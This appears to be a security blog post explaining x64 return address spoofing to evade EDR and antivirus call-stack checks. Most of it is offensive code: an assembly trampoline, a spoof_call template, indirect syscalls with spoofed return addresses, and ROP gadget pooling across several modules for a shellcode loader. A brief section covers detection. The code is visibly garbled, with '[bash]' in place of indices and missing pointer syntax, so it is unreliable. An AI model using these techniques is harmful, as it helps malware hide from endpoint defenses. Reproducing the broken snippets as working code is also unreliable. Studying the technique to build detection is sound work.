Listen to this Post

Introduction:
Modern Endpoint Detection and Response (EDR) systems and AntiVirus (AV) solutions rely heavily on behavioral analysis to detect malicious activity. These systems monitor the call stack to identify suspicious API calls originating from unbacked memory regions or unsigned executables, flagging them as potential threats. Return Address Spoofing (RAS) is a sophisticated evasion technique that manipulates the return address on the x64 stack, making malicious API calls appear as if they originate from legitimate, trusted Windows modules rather than from shellcode or injected payloads.
Learning Objectives:
– Understand the x64 calling convention, shadow space, and stack frame mechanics to implement return address manipulation.
– Master the implementation of return address spoofing using assembly stubs, trampolines, and ROP gadgets.
– Learn to detect and mitigate return address spoofing attacks through advanced stack walking and integrity checks.
You Should Know:
1. x64 Stack Internals and Shadow Space Management
The x64 architecture on Windows uses a unique calling convention that requires a deep understanding of the stack layout, shadow space (also known as home space), and register usage. Unlike x86, x64 does not use a frame pointer (EBP) by default for stack unwinding; instead, it relies on unwind information stored in the `.pdata` section of the executable. A robust understanding of stack frames is therefore essential before any successful exploitation of return addresses can take place.
Step‑by‑step guide explaining what this does and how to use it.
The x64 calling convention reserves 32 bytes (four 8-byte slots) of shadow space on the stack before a function is called. This space allows the callee to save the first four register arguments (RCX, RDX, R8, R9) if necessary. The return address sits just below the shadow space.
Step 1: Examine the x64 stack layout using WinDbg
0:000> k Child-SP RetAddr Call Site 00 00000000`0012fb40 00000000`0040108a main+0x2a 01 00000000`0012fb48 00000000`004013e2 function+0x34 02 00000000`0012fc00 00000000`00401510 wininet!InternetConnectA+0xaa
Step 2: Calculate the shadow space offset
Python snippet to calculate RSP offset for shadow space
import ctypes
shadow_space = 0x20 32 bytes shadow space
return_address = 0x8 8 bytes return address
total_stack_alloc = shadow_space + return_address
print(f"Shadow space: {hex(shadow_space)}")
print(f"Return address offset: {hex(return_address)}")
print(f"Total stack allocation: {hex(total_stack_alloc)}")
Step 3: Analyze stack frame with a debugger
0:000> dt ntdll!_RTL_CALLER_ALLOCATED_STACK_FRAME +0x000 CallerReturnAddress : Ptr64 Void +0x008 CallerStackPointer : Ptr64 Void +0x010 CallerFramePointer : Ptr64 Void
Step 4: Manually walk the stack using `RtlCaptureStackBackTrace`
include <windows.h>
include <dbghelp.h>
include <stdio.h>
void WalkStack() {
PVOID backtrace[bash];
USHORT frames = RtlCaptureStackBackTrace(0, 64, backtrace, NULL);
for (USHORT i = 0; i < frames; i++) {
printf("[Frame %d] Return Address: %p\n", i, backtrace[bash]);
}
}
Step 5: Identify legitimate return addresses for spoofing
Search within loaded modules for valid return addresses that point to Microsoft‑signed DLLs such as `kernel32.dll`, `user32.dll`, or `ntdll.dll`. These will be used as the target of the spoofing operation.
2. Implementing Return Address Spoofing with Assembly Stubs
The core technique involves overriding the return address of a function before it is called, effectively replacing it with a pointer to a legitimate module. When the security solution performs a stack walk, it will see that the return address points to, for example, `kernel32.dll`, and the API call will be considered trusted.
Step‑by‑step guide explaining what this does and how to use it.
The following implementation is adapted from the HulkOps POC and the `spoof_call` template.
Step 1: Define the assembly trampoline stub
; trampoline.asm (MASM syntax) .code _spoofer_stub PROC pop r11 ; r11 now holds the original return address (our code) add rsp, 8 ; Skip callee-reserved space mov rax, [rsp + 24] ; Dereference shell_param mov r10, [bash] ; Load shell_param.trampoline mov [bash], r10 ; Store trampoline address as the new return address mov r10, [rax + 8] ; Load shell_param.function mov [rax + 8], r11 ; Store original return address in shell_param.function mov [rax + 16], rbx ; Preserve rbx in shell_param.rbx lea rbx, fixup mov [bash], rbx fixup: mov rbx, [rax + 16] ; Restore rbx ret _spoofer_stub ENDP END
Step 2: Create the C++ wrapper template
// spoof_call.hpp
include <type_traits>
include <cstdint>
namespace detail {
extern "C" void _spoofer_stub();
template <typename Ret, typename... Args>
static inline auto shellcode_stub_helper(const void shell, Args... args) -> Ret {
auto fn = (Ret()(Args...))(shell);
return fn(args...);
}
}
template <typename Ret, typename... Args>
static inline auto spoof_call(const void trampoline, Ret(fn)(Args...), Args... args) -> Ret {
struct shell_params {
const void trampoline;
void function;
void rbx;
};
shell_params p{ trampoline, reinterpret_cast<void>(fn) };
using mapper = detail::argument_remapper<sizeof...(Args), void>;
return mapper::template do_call<Ret, Args...>(
reinterpret_cast<const void>(&detail::_spoofer_stub),
&p,
args...
);
}
Step 3: Spoof a MessageBox call
include <windows.h>
include "spoof_call.hpp"
int main() {
// Find a legitimate return address within kernel32.dll
uintptr_t kernel32_base = (uintptr_t)GetModuleHandleA("kernel32.dll");
uintptr_t spoof_addr = kernel32_base + 0x18f24; // Offset to a `ret` gadget
// Call MessageBoxA with a spoofed return address
spoof_call(
(const void)spoof_addr,
MessageBoxA,
nullptr,
"Hello from trusted module!",
"Spoofed Call",
MB_OK
);
return 0;
}
Step 4: Compile and link the spoofed binary
Compile with Visual Studio x64 Native Tools ml64.exe /c trampoline.asm /Fo trampoline.obj cl.exe /MD /O2 /GL /EHsc main.cpp trampoline.obj /Fe:spoofed_binary.exe
Step 5: Verify the spoofed call stack
Attach x64dbg to the running process and break on `MessageBoxA`. Examine the call stack; the return address should point to `kernel32.dll`, not to your executable.
3. Detecting Return Address Spoofing via Stack Walking
Detection mechanisms have evolved to catch return address spoofing by analyzing anomalies in the call stack. The technique known as Moonwalk++ can bypass these detections, but understanding how security products detect RAS is essential for blue teams to build effective defenses.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Perform a stack walk using `RtlWalkFrameChain`
include <windows.h>
include <stdio.h>
void DetectSpoofing() {
PVOID frames[bash];
DWORD hash;
// Retrieve the call stack
USHORT frame_count = RtlWalkFrameChain(frames, 64, &hash);
for (USHORT i = 0; i < frame_count; i++) {
HMODULE module;
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
(LPCTSTR)frames[bash], &module);
if (module) {
char module_name[bash];
GetModuleBaseNameA(GetCurrentProcess(), module, module_name, MAX_PATH);
// Check if the return address points to unbacked memory
if (strcmp(module_name, "unknown") == 0) {
printf("[!] Suspicious: Return address 0x%p in unbacked memory\n", frames[bash]);
} else {
printf("[+] Legitimate: 0x%p within %s\n", frames[bash], module_name);
}
}
}
}
Step 2: Validate unwind information consistency
// Check if a function has valid unwind data
PRUNTIME_FUNCTION GetUnwindInfo(PVOID address) {
return RtlLookupFunctionEntry((DWORD64)address, NULL, NULL);
}
Step 3: Monitor for broken call stack chains
The RAS detection tool RASD (Return Address Spoofing Detector) identifies spoofing attempts by analyzing multiple return addresses and detecting anomalies such as multiple consecutive addresses from unbacked memory or suspicious patterns.
Step 4: Deploy EDR rules to detect common RAS patterns
Sigma rule for detecting suspicious return address patterns detection: selection: EventID: 10 Sysmon ProcessAccess TargetImage|contains: 'spoof' condition: selection
Step 5: Use kernel-mode call stack validation
Advanced EDRs, such as Elastic 8.11+, perform kernel‑mode validation of the call stack by verifying that every return address maps to a `RUNTIME_FUNCTION` entry in the `.pdata` section. This prevents module stomping attacks.
4. Advanced Evasion: Combining RAS with Indirect Syscalls
Modern payloads often combine return address spoofing with indirect system calls to bypass both userland hooks and call stack analysis. This approach dynamically resolves System Service Numbers (SSNs) and syscall instruction addresses, then spoofs the RIP to point to `ntdll.dll`.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Parse ntdll.dll exports for SSN and syscall address
uintptr_t ResolveSyscallAddress(const char function_name) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE)ntdll + dos->e_lfanew);
IMAGE_DATA_DIRECTORY export_dir = nt->OptionalHeader.DataDirectory[bash];
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)((BYTE)ntdll + export_dir.VirtualAddress);
DWORD names = (DWORD)((BYTE)ntdll + exports->AddressOfNames);
WORD ordinals = (WORD)((BYTE)ntdll + exports->AddressOfNameOrdinals);
DWORD functions = (DWORD)((BYTE)ntdll + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
const char name = (const char)ntdll + names[bash];
if (strcmp(name, function_name) == 0) {
return (uintptr_t)ntdll + functions[ordinals[bash]];
}
}
return 0;
}
Step 2: Locate a `add rsp, 0xXX; ret` gadget for return spoofing
uintptr_t FindSafeReturnGadget() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE)ntdll + dos->e_lfanew);
DWORD code_size = nt->OptionalHeader.SizeOfCode;
BYTE code_start = (BYTE)ntdll + nt->OptionalHeader.BaseOfCode;
for (DWORD i = 0; i < code_size - 4; i++) {
// Look for ADD RSP, XX; RET opcodes
if (code_start[bash] == 0x48 && code_start[i+1] == 0x83 && code_start[i+2] == 0xC4) {
if (code_start[i+4] == 0xC3) { // RET
return (uintptr_t)(code_start + i);
}
}
}
return 0;
}
Step 3: Execute the indirect syscall with RIP spoofing
void DoomSyscall(DWORD syscall_number, uintptr_t gadget_address, ...) {
__asm {
mov r10, rcx
mov eax, syscall_number
// Spoof return address to gadget_address
push gadget_address
syscall
// Clean up
add rsp, 8
}
}
5. Defensive Evasion: Multi-Module Call Stack Spoofing
Attackers have refined RAS to avoid detection by using multiple return address gadgets from different legitimate modules. The zero-loader project implements a polymorphic shellcode loader that pools gadgets from `ntdll`, `kernel32`, and `kernelbase`, randomly selecting a different gadget per API call.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: Collect ROP gadgets from multiple modules
std::vector<uintptr_t> CollectGadgetsFromModules(std::vector<std::string> modules) {
std::vector<uintptr_t> gadgets;
for (auto& module_name : modules) {
HMODULE module = GetModuleHandleA(module_name.c_str());
if (module) {
uintptr_t base = (uintptr_t)module;
// Scan for FF D3 (call rbx) or FF 23 (jmp dword ptr [bash]) gadgets
for (uintptr_t offset = 0; offset < 0x10000; offset++) {
BYTE ptr = (BYTE)(base + offset);
if (ptr[bash] == 0xFF && ptr[bash] == 0xD3) { // CALL RBX
gadgets.push_back(base + offset);
}
}
}
}
return gadgets;
}
Step 2: Randomize gadget selection per call
uintptr_t GetRandomGadget() {
static std::vector<uintptr_t> gadgets = CollectGadgetsFromModules(
{"ntdll.dll", "kernel32.dll", "kernelbase.dll"}
);
static std::random_device rd;
static std::mt19937 gen(rd());
std::uniform_int_distribution<> dist(0, gadgets.size() - 1);
return gadgets[dist(gen)];
}
What Undercode Say:
– Return address spoofing is a foundational offensive technique, but it is not a complete silver bullet. Detection tools such as RASD and modern EDRs can identify anomalies in the call stack, such as multiple consecutive return addresses from unbacked memory or ROP gadget patterns.
– The most effective modern offensive toolkits combine RAS with indirect syscalls, multi-module gadget randomization, and phantom DLL hollowing to evade detection. Conversely, blue teams must implement comprehensive call stack validation using both usermode (RtlCaptureStackBackTrace) and kernel‑mode (RtlLookupFunctionEntry) techniques. The arms race between red and blue teams in this domain continues to escalate, making continuous research and tooling updates essential.
Prediction:
– +1 Short-term (1-2 years): Return address spoofing will become a standard feature in mainstream C2 frameworks (Cobalt Strike, Brute Ratel) as defenders increasingly deploy call stack validation across enterprise EDRs.
– +1 Medium-term (2-3 years): Machine learning-based anomaly detection models will be trained on legitimate call stack patterns to identify spoofing attempts with high accuracy, forcing offensive operators to adopt polymorphic gadget selection and context‑aware spoofing.
– -1 Long-term (3-5 years): Microsoft may introduce hardware-enforced call stack integrity features leveraging CET (Control-flow Enforcement Technology) and Shadow Stack to make return address spoofing significantly more difficult, potentially rendering the current generation of RAS techniques obsolete.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
[Join Undercode Academy for Verified Certifications](https://undercode.co.uk/certifications/)
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[[email protected]](mailto:[email protected])
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: [Florian Hansemann](https://www.linkedin.com/posts/florian-hansemann_x64-return-address-spoofing-hulkops-share-7469652777577783297-45pT/) – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
[💬 Whatsapp](https://undercode.help/whatsapp) | [💬 Telegram](https://t.me/UndercodeCommunity)
📢 Follow UndercodeTesting & Stay Tuned:
[𝕏 formerly Twitter 🐦](https://x.com/undercodeupdate) | [@ Threads](https://www.threads.net/@undercodetesting) | [🔗 Linkedin](https://www.linkedin.com/company/undercodetesting/) | [🦋BlueSky](https://bsky.app/profile/undercode.bsky.social)


